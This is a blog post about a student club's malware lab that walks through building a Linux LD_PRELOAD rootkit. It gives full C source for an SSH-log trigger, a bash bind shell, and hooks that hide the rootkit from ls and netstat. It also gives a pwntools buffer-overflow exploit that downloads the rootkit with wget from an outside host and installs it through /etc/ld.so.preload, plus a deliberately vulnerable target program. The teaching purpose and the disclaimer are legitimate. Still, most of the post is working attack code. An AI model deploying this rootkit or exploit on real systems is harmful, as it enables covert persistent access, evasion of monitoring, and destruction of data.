Disclaimer
I am not an expert in this topic, and this project is merely my interpretation/attempt at rootkit development. If you have any suggestions for improvement, please suggest them on GitHub issues in this repo. Also, never use any of the techniques discussed for malicious purposes. If you want to try out any of the code we've written, it is critical that you run it in a VM, as mistakes could brick your system.
For ACM Cyber this spring quarter, we decided to branch off from our workshop/lecture-based style of teaching to try something more practical. To achieve this we offered a "Malware Development Lab" and the "Secure OS Development Lab" instead. Both were intended to be low-level cyber-security projects allowing people to get their hands dirty with practical cybersecurity from a development point of view. This post details the curriculum, outcomes, and results of this quarter's Malware Lab.
Lab Objectives
Overall we had three major objectives in teaching this lab.
- Develop functional Linux rootkits using c
- Exploit a toy vulnerability to install our rootkit and gain persistent access
- Teach students how to apply operating systems and network programming fundamentals to create malware.
We aimed to require little previous knowledge regarding these subject matters, a tough task given we only had 10 hours of total workshop time.
The base architecture of our rootkits took heavy inspiration from the one developed in this post. If you're interested in developing your own rootkit, I highly recommend reading this post as it contains great in-depth technical explanations of many of the features we added.
Our base architecture (Linux-specific) was composed of two features:
- A trigger mechanism that calls a function upon ssh login attempts with a trigger username
- A forked bind shell process started by the trigger mechanism
Additionally, I added some features similar to those detailed in the post including ls
and netstat
evasion.
In the end, these base features resulted in a malicious LD_PRELOAD rootkit that provided persistent shell access while hiding from ls and netstat.
Curriculum
In total we had 5 workshops throughout the quarter. Our approach was to spend the first three weeks having our attendees develop the base features (trigger, bind shell, exploit script), and then give them the remaining two of weeks to add their own features. Finally, at the end of the quarter, we provided them with target servers which they were tasked with exploiting to demo their features in front of an audience at our end-of-quarter symposium.
Our curriculum followed this structure:
- Week 3
- VM setup
- OS concepts
- System call hooking
- Trigger mechanism
- Week 4:
- Networking
- Bind shell
- Week 5: break for midterms
- Week 6:
- Buffer overflows
- Exploit script
- Week 7:
- Industry talk
- Overview of potential custom features
- Begin Development on custom features
- Week 8: work session
- Week 9: demos
System Call Hooking
At its core, the rootkit revolves around one basic principle: System Call Hooking. The basic idea is that we want to insert a thin layer between the user and the operating system without the user's knowledge. This way we can manipulate the information moving between the user and the operating system allowing us to inject custom functionality and cover our tracks.
System calls
To use any services offered by the operating system, programs make use of syscalls to essentially "ask" the operating system to do things. This stands in contrast to normal library function calls as the user program has no control over the CPU during syscall execution.
An example of an operating system service is file manipulation since the filesystem and processes are managed by the Linux kernel in our case. For example, let us examine a basic hello world program in C.
#include <stdio.h>
int main(int argc, char** argv)
{
printf("Hello World\n");
return 0;
}
This program uses the printf
function from <stdio.h>
, to write "Hello World\n"
to standard output. However, writing to standard output is technically file manipulation, and thus it requires operating system intervention. This can be illustrated by looking at the generated x86-64
machine code.
0000000000001149 <main>:
1149: f3 0f 1e fa endbr64
114d: 55 push rbp
114e: 48 89 e5 mov rbp,rsp
1151: 48 83 ec 10 sub rsp,0x10
1155: 89 7d fc mov DWORD PTR [rbp-0x4],edi
1158: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
115c: 48 8d 05 a1 0e 00 00 lea rax,[rip+0xea1] # 2004 <_IO_stdin_used+0x4>
1163: 48 89 c7 mov rdi,rax
1166: e8 e5 fe ff ff call 1050 <puts@plt>
116b: b8 00 00 00 00 mov eax,0x0
1170: c9 leave
1171: c3 ret
In this case, it uses the puts
system call (instruction at 0x1166
). This syscall simply takes a string as input and writes it to stdout
.
Shared Libraries
As you can imagine, this system call is very widely used. Because of this, it would be very inefficient to save a copy of puts
in every binary.
Instead, it's more efficient to save a single copy of puts
somewhere on the system, and have all programs on the system share that copy. In fact its even better if we bundle all of the commonly used functions and save them in one place so that all our programs can simply refer to the copy. This process is known as dynamic linking as this library is linked at run time as opposed to compile time (static linking).
In this case, the library is called a shared library. puts
is stored in libc (/lib/libc.so.6
), which contains all of the C functions in the standard library.
ld.so.preload
Something interesting about dynamic linking on Linux is that you can influence how it works using environment variables. One such variable is LD_PRELOAD
. Setting this variable allows you to change the order in which dynamic libraries are loaded at runtime. Specifically, it contains the path of shared libraries you want to load first.
We can exploit this by writing our own shared library, and adding its name to the LD_PRELOAD
variable. This way, functions from our library will be loaded before those in libc
. Critically, if we write functions with equivalent signatures to those in libc
, ours will be loaded first and thus take priority over those in libc
. This is extremely powerful because it means we can effectively overwrite the code for any libc system call globally on the system.
Note, you can also write to the file
/etc/ld.so.preload
to achieve a more permanent effect
System Call Hooking
In essence, a syscall hook is simply a wrapper around an existing syscall. Generally, we use this to filter the incoming or outgoing data from a real system call. As syscalls act as a portal into the operating system, this means that we can control the traffic between user programs and the OS.
Below is an example of how we can hook the puts
syscall to replace the message "cat" with the message "dog".
/* Hooked Syscall - overrides actual puts syscall */
int puts(const char *message)
{
/* function pointer for original puts syscall (not yet initialized) */
int (*real_puts)(const char *message);
/*
* 1. Get address of next "puts" symbol from dynamic linker
* 2. assign real_puts to point to it
* 3. Now real_puts points to the REAL puts syscall
*/
real_puts = dlsym(RTLD_NEXT, "puts");
/* If puts is attempting to write our target string,
inject our subsequent payload instead */
if (strcmp(message, "cat") == 0)
return real_puts("dog");
/* Otherwise simply forward call to REAL puts (this is the case for the vast majority of traffic) */
return real_puts(message);
}
Next, we compile this code into a shared library and put the path in the /etc/ld.so.preload
file. After doing so, running the following program will produce interesting results.
int main()
{
printf("cat");
return 0;
}
$ gcc -o cat cat.c
$ ./cat
dog
$
As you can see, we have indirectly manipulated printf's behavior. The program is correctly using the printf
function, however, it is not behaving as expected.
At the heart of this example is the dlsym
call. While it looks complicated, it simply retrieves the next dynamically linked occurrence of the puts
symbol. Since our library was loaded before libc, the next occurrence is the original puts
syscall in libc. Since real_puts
is a function pointer, this line simply initializes real_puts
to the address of the real puts
function. We can now use real_puts
freely within our wrapper.
Since our library is loaded before libc, any program calling printf
, and by extension puts
, will actually be calling our puts
function. This means that any program on the entire system that wants to print "cat" to stdout, will actually end up printing "dog" instead. Critically, however, any call to puts that isn't literally printing "cat" is left completely untouched.
While this example is relatively innocuous, it gives us a glimpse into the potential host of features we could develop. Not only can it be used to arbitrarily execute code, but it can also be used to cover up evidence of the rootkit entirely as we can control exactly what the operating system is telling the user. The user could be attempting to detect the rootkit and the OS could be screaming for help, but we can easily redirect those calls for help into the void, leading the user into a false sense of security.
Note that this program will only replace exactly the message "cat" with the message "dog". If someone writes "I like cats", it will still print "I like cats" since
strcmp
checks for an exact match with "cat". Qualities like this are actually rather important when it comes to designing a rootkit since all the globalputs
traffic will be routed through your function, and the vast majority of traffic shouldn't trigger your rootkit features to preserve discretion.
Trigger Mechanism
For our rootkits, the goal was to gain persistent access to a machine. To achieve this, you need to open some sort of backdoor shell on command. This requires a built-in trigger mechanism to open a shell.
In our case, we are looking to attack a Linux machine that presumably has SSH installed. While there are many ways of implementing this, we again took heavy inspiration from the aforementioned blog post. Specifically, the ssh feature we aimed to exploit was the logging mechanism.
Every time that a user attempts to connect to a machine on ssh, the ssh daemon logs the attempt along with the username and some other information to /var/log/auth.log
. Critically this information is logged whether the attempt is successful or not and the SSH daemon uses the write
system call to write to the file.
We can leverage this feature and hook the write system call to trigger a shell when a user attempts to log in with a specific username. This is great as it will only trigger if a user attempts to log in with a trigger username. In all other cases SSH will function normally.
Here is the code for the trigger.
#define TRIGGER_USERNAME "joebruin"
void start_bind4()
{
/* Filled in with bind shell code later on */
}
/* Function definition matching that of the write syscall */
ssize_t write(int fildes, const void *buf, size_t nbytes) {
ssize_t (*real_write) (int fildes, const void *buf, size_t nbytes);
ssize_t result;
real_write = dlsym(RTLD_NEXT, "write");
/* Continue normally if message doesn't contain trigger */
if (strstr(buf, TRIGGER_USERNAME) == NULL) {
return real_write(fildes, buf, nbytes);
}
/* write original bytes to /dev/null to hide output from log */
fildes = open("/dev/null", O_WRONLY | O_APPEND);
result = real_write(fildes, buf, nbytes);
/* Open the bind shell backdoor */
start_bind4();
return result;
}
Note, in reality, you should probably use a more complicated trigger than joebruin, as this hook will actually trigger whenever any global program tries to write something containing "joebruin" to any file. As it is short and comprised of actual words, it's likely that this could trigger unintentionally. For our actual rootkit, we made the trigger username a long string of base64 text, where unintentional triggering is extremely unlikely.
Bind Shell
At this point, we had a single hook that called a function when a user attempted to ssh into the server with a trigger username. Given the next goal for our rootkit was persistent access, we decided to write code to set up a bind shell whenever the user used the trigger mechanism.
#define BIND_PORT XXXXX
void start_bind4()
{
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(BIND_PORT);
addr.sin_addr.s_addr = INADDR_ANY;
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
/* allow reuse of local address */
const static int optval = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
/* bind socket to local address */
bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));
listen(sockfd, 0);
int client_sockfd = accept(sockfd, NULL, NULL);
int pid = fork();
if (pid == 0) {
for (int i = 0; i < 3; i++)
dup2(client_sockfd, i);
execve("/bin/bash", NULL, NULL);
}
close(sockfd);
}
The first several statements are fairly standard networking C code. They simply create a socket, bind it to the ip address of the server, listen for a connection, and accept the first client connection on the specified port.
Next, the program forks, creating a copy of the running process (the ssh daemon in this case). Next the function dup2
overwrites the stdout, stdin, and stderr file descriptors with the socket, effectively rerouting stdin, stdout, and stderr to the connection. Finally, the program execs a shell, replacing the currently running process (forked version) with the shell program.
In the end, this spawns a separate shell process with its input and output routed to the client socket.
After attempting an SSH login with the trigger username, the attacker can then connect to this shell using Netcat.
nc TARGET_ADDRESS BIND_PORT
Note, the reason we call it a bind shell is because we bind the socket to the target's address. This indicates that the target acts as the server, and the client (attacker in this case) connects to the target. Conversely, we could have created a reverse shell where the target acts as the client that connects to the attacker's Command and Control server to control the target.
Target
Now that we had the base features developed, it was time for exploitation. While our original goal was to exploit an old CVE, we ended up going with a toy buffer overflow vulnerability and homerolled exploit script for educational purposes.
Note for future workshops: In hindsight, we probably should have gone with a CVE as to use Msfvenom since it would have been much easier to explain and more practically useful, however, both approaches have pros and cons.
I won't go too in-depth into the vulnerability or mechanics behind how buffer overflows work since that's a little out of the scope of this post, but there are plenty of resources online if you are interested.
Target Machine
The target machine had a couple of characteristics. It was a web server hosting a static HTTP page via Apache on an Ubuntu system. Additionally, it was running sshd, and the vulnerable target program detailed in the next section.
The static webpage hosted is shown above.
To configure and run this target machine we used docker to set up several target machines.
Here is the Dockerfile used to configure our machine.
# ASLR must be disabled on host machine
FROM ubuntu:jammy
RUN apt-get update && \
apt-get -y dist-upgrade && \
apt-get -y install gcc && \
apt-get -y install make && \
apt-get -y install rsyslog && \
apt-get -y install vim && \
apt-get -y install python3 && \
apt-get -y install python3-pip && \
apt-get -y install apache2 sudo && \
apt-get -y install openssh-server sudo
RUN pip install pwn
WORKDIR /vuln
COPY . .
# Configure Static Site
RUN cp ./site/* /var/www/html/
RUN make target
RUN chmod 777 target
RUN chown 0 target
# Expose port for rev shell
EXPOSE 2002
CMD ["./start.sh"]
Ideally, we would start all of our services in the Dockerfile
, but doing so is not possible as we can't enable services until after the Dockerfile
finishes running. This is in line with the philosophy that docker containers should only be running one real task each. However, in this case, we are trying to simulate a monolithic server architecture so we can get around this by starting the services in our entry point script start.sh
instead.
#!/bin/sh
# These commands need to be run at runtime (don't work during docker build)
# disable rsyslogd security precautions (so that system logger is run as root)
sed -i "s/FileOwner syslog/FileOwner root/g" /etc/rsyslog.conf
sed -i "s/PrivDropToGroup syslog/PrivDropToGroup root/g" /etc/rsyslog.conf
sed -i "s/PrivDropToUser syslog/PrivDropToUser root/g" /etc/rsyslog.conff
sudo rsyslogd
service ssh start
service apache2 start
./target
You might notice that we are running
rsyslog
as well. This is because docker containers actually have ssh logging indirectly disabled by default. Normally, logging is managed by the syslog service, however, this service is started by the init system, which isn't run in docker containers automatically. To get around this we have to start it manually. Additionally, we need to configurersyslogd
to run as root because it runs as thersyslog
user by default for security reasons :'(.
Given this setup, the object was to:
- Hijack the target program
- Gain persistent access by installing the rootkit
- Modify the static website
Target Binary
Below is the source code for the target binary. Keep in mind that the emphasis of this workshop was on the malware, so in this case, the vulnerability was trivial.
#include <arpa/inet.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/queue.h>
#include <sys/socket.h>
#include <unistd.h>
#define LISTEN_PORT 2000
volatile int server_sockfd;
volatile int client_sockfd;
void interact()
{
char out[264];
char in[256];
strcpy(out, "Enter your name: ");
send(client_sockfd, out, strlen(out), 0);
/* BUFFER OVERFLOW OCCURS HERE */
recv(client_sockfd, in, 1024, 0);
strcpy(out, "Hello: ");
strcat(out, in);
send(client_sockfd, out, strlen(out), 0);
}
/* Start server and redirect stdin and stdout to socket */
int setup_server()
{
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(LISTEN_PORT);
addr.sin_addr.s_addr = INADDR_ANY;
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
/* allow reuse of local address */
const static int optval = 1;
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
/* bind socket to local address */
bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));
listen(sockfd, 0);
return sockfd;
}
void sighandler(int sig)
{
close(client_sockfd);
close(server_sockfd);
}
int main()
{
signal(SIGINT, sighandler); // used for debugging purposes
server_sockfd = setup_server();
struct sockaddr_in client_addr;
unsigned sin_size = 0;
while (true) {
client_sockfd = accept(server_sockfd, (struct sockaddr *) &client_addr, &sin_size);
interact();
close(client_sockfd);
}
return 0;
}
As you can see this is a basic program that listens on a socket and echos "Hello: whatever they enter" in a loop indefinitely. However, in the interact function, it allows the user to send up to 1024 bytes into a 256-byte buffer. This is a classic buffer overflow.
As you can see the target also had no binary protections, and ASLR was disabled on the target server. Because of this, exploitation was pretty trivial.
Exploitation
For exploitation, we used a sort of two-stage payload. Essentially, our script would hijack the instruction pointer of the target program, and then start a bind shell on another port. Next, the script would connect to that bind shell, and automatically install the rootkit after downloading it from some static server (my personal website in this case).
Since we had several groups, we hosted several target machines and several payloads. Each group was assigned a target number which they would input into this script. Then the script would be configured to attack their target with their payload.
Here is the completed script:
from pwn import *
'''
Set the below target number to your assigned target number to automate the installation process
'''
target_num = 1
# ---------------------------------
context.arch = 'amd64'
# obtained using gdb
base_addr = 0x7fffffffea70
diff = 0x7fffffffdd38 - 0x7fffffffdb20
target_addr = 'mw-demo.roryhemmings.com'
target_port = target_num*1000 + 1000
stage_two_port_external = target_num*1000 + 1002
stage_two_port_internal = 2002
rootkit_download_addr = f'mw-demo.roryhemmings.com/rootkit{target_num}.tz'
rootkit_filename = f'rootkit{target_num}.tz'
# Set up the connection to the target system
target = remote(target_addr, target_port)
# Generate the stage 1 shellcode to connect to the target
stage1_shellcode = shellcraft.amd64.linux.bindsh(stage_two_port_internal, target_addr)
# Assemble and send the stage 1 shellcode to the target system
assembled_stage1_shellcode = asm(stage1_shellcode)
padding = b'\0' * (diff - 1 - len(assembled_stage1_shellcode))
raddr = p64(base_addr + 1)
payload = b'\0' + assembled_stage1_shellcode + padding + raddr
target.send(payload)
# Connect to bind shell and install rootkit
setup_target = remote(target_addr, stage_two_port_external)
setup_target.sendline(f'wget {rootkit_download_addr}'.encode('ascii'))
setup_target.sendline(f'tar -xzf {rootkit_filename}'.encode('ascii'))
setup_target.sendline('./drop.sh'.encode('ascii')) # installs the rootkit
setup_target.sendline(f'rm {rootkit_filename}'.encode('ascii'))
setup_target.sendline('rm rootkit.so'.encode('ascii'))
setup_target.sendline('rm ./drop.sh'.encode('ascii'))
setup_target.sendline('echo "You have been hacked" > hacked.txt'.encode('ascii'))
setup_target.recvuntil('...'.encode('ascii'), timeout=1)
setup_target.close()
target.close()
To actually install the rootkit this script calls another script ./drop.sh
. That script is shown below.
#!/bin/bash
LIBNAME=rootkit.so
LIBPATH="$PWD/$LIBNAME"
LIBDEST="/lib/$LIBNAME"
mv $LIBNAME $LIBDEST
echo $LIBDEST > /etc/ld.so.preload
sudo systemctl restart ssh
It simply moves the rootkit to the /lib
directory and then adds its path to the /etc/ld.so.preload
. Next, it restarts sshd
so that it starts using the write
system call from rootkit.so
instead of libc
.
Developed Features
After each group implemented their base features along with the exploit script, each team got to implement custom features of their choice. Unfortunately, we didn't end up having as much time as expected, so the custom features ended up being less so features, and more so post-exploitation demos.
Evasion
Our first group decided to directly expand upon the base rootkit by reading further into the original blog post. They introduced 2 evasion features to hide the rootkit from ls
and netstat
.
LS
Hiding from ls
is rather simple. For LS to function, it uses the readdir
syscall to iterate through a directory. Given a pointer to a directory stream, the readdir
syscall is meant to return the next directory entry in the directory. Calling it in a loop allows ls
to iterate through a directory and list information about each file.
However, our goal was to hide a file from ls. To do so, we can hook the readdir
syscall, and then instruct it to skip over the rootkit directory entry. This way, as ls
iterates through a directory, it fails to detect our malicious library.
/* Hide from ls */
struct dirent *readdir(DIR *dirp) {
struct dirent *(*real_readdir) (DIR *dir);
real_readdir = dlsym(RTLD_NEXT, "readdir");
struct dirent *dir;
/* finds file that doesn't contain rootkit.so */
while (dir = real_readdir(dirp))
if (strstr(dir->d_name, LIBRARY_FILENAME) == 0)
break;
return dir;
}
As you can see, our code just wraps the real readdir
syscall, which gets the next directory entry given a directory pointer. However, our code continues calling this function to get the next entry, until it finds one that doesn't contain our rootkit's filename. This way ls
, and any other utility reading the contents of a directory, will skip over our rootkit.
After including this in the rootkit, ls
will work as normal, except that it will never output a trace of our rootkit.so
file.
Note: using
ls -ld rootkit.so
will still work as it uses a different system call to gather information about the file. This was helpful because it allowed us to ensure that the evasion feature was working.
netstat
Hiding from netstat
is slightly more involved, however the approach is still pretty simple. netstat
works by reading information from the special file /proc/net/tcp
into a buffer and then writing/formatting its contents out to the terminal. The file /proc/net/tcp
is a proc file that acts as a window into the operating system to gain information about active TCP connections.
Since netstat
, has to read from this file, we can hook the fopen
syscall used to read this proc file and filter out evidence of our backdoor TCP connections before returning its contents to the user.
To achieve this, we read each line from /proc/net/tcp
, and write it to a temporary file if it doesn't contain evidence of our backdoor (the port in this case). Then we just return a pointer to the temporary file, so that netstat
will read from our clean dummy file as opposed to /proc/net/tcp
.
/* Hide from netstat */
FILE *fopen(const char *pathname, const char *mode)
{
FILE *(*real_fopen)(const char *pathname, const char *mode);
real_fopen = dlsym(RTLD_NEXT, "fopen");
/* If file is not /proc/net/tcp, run fopen normally */
/* /proc/net/tcp -> requests info about active tcp connections from the OS */
if (strstr(pathname, "/proc/net/tcp") == NULL)
return real_fopen(pathname, mode);
/* Convert port to string */
char S_BIND_PORT[6];
itoa(BIND_PORT, S_BIND_PORT, 10);
/* Create temporary file to store clean data */
char line[256];
FILE *temp = tmpfile();
FILE *fp = real_fopen(pathname, mode);
/* Copy each line from /proc/net/tcp, excluding lines containing backdoor port number */
while (fgets(line, sizeof(line), fp))
{
/* If line doesn't contain rootkit port number, copy to clean file */
if (strstr(line, S_BIND_PORT) == NULL)
fputs(line, temp);
}
/* Return clean file */
return temp;
}
Once this is included in the rootkit library, netstat
will list all open TCP connections except those involving the rootkit's backdoor port.
Webpage Injection
Our second group completed the post-exploitation objective of modifying the static webpage on the target server.
To achieve this they simply modified the HTML for the static webpage using sed
to include their own CSS and modify the existing HTML. By doing this, they were able to change the text and background color of the page as a proof of concept.
Although I've lost the exact script they used, it looked something like this:
sed -i "s/Unhackable/Hackable/g" index.html
sed -i "s/I bet you can't change this text/We changed the text/g" index.html
mkdir css
echo "body { background-color: red; }" > css/style.css
After running these commands, the website went from this:
to this:
They completed this attack in front of a live audience to demonstrate the capabilities of a persistent root shell.
Shred
For our grand finale, our last team wanted to experiment a little bit to cause pure chaos. After modifying the website a bit more using javascript injection, they simply shredded the root directory of the server in front of a live audience to see what would happen.
After some time, the website went down, and the terminal went haywire as it couldn't even print status messages after libc was erased.
While somewhat of a joke, this attack does demonstrate the capabilities of our rootkit. With persistent root access, you can run literally any attack you want, from precise monitoring and spying to wiping the system clean altogether.
While we didn't have time to implement a ton of new features, some proposed features for the future include:
- Implementing a reverse shell instead of a bind shell
- Creating a C2C server and using our rootkit to create botnets
- Exploiting a CVE instead of our toy vulnerability for installation
- Including a built-in keylogger with the rootkit
Conclusion
Overall our workshop was a success, however, along the way, we learned some things that should be taken into consideration for the future.
Namely:
- We should have had one group working on one big rootkit as opposed to 3 smaller ones
- Would have allowed for a better overall rootkit with more features
- The target environment was extremely hacky, and we should have put more thought into it from the start.
- We were simulating a monolithic server with docker, which led to several problems
- Exploiting a toy vulnerability was a bit out of the scope of this workshop. We probably should have used an old CVE + Msfvenom to simplify exploitation and provide more practical experience.
If you have any questions or want to learn more, I highly recommend the resources below.